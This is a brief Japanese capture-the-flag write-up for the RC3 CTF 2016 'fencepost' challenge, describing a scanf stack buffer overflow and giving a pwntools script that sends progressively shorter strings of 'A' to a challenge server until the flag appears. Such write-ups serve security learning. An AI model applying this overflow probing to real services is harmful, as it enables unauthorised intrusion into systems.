RC3 CTF 2016: fencepost

,

scanf("%s", s);のbofで特定の位置を$0$にするとflagが出てくる。なんだか配布されたのと鯖のとでバイナリが違うっぽいからとりあえず試してみたらflagが降ってきた。まさかこれでいいとは思わなかった。

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='52.71.70.98')
parser.add_argument('port', nargs='?', default=2091, type=int)
args = parser.parse_args()

context.log_level = 'debug'
with remote(args.host, args.port) as p:
    for i in range(48, 0, -1):
        p.recvuntil('Password: ')
        p.sendline('A' * i)

flag: RC3-2016-STACKPWN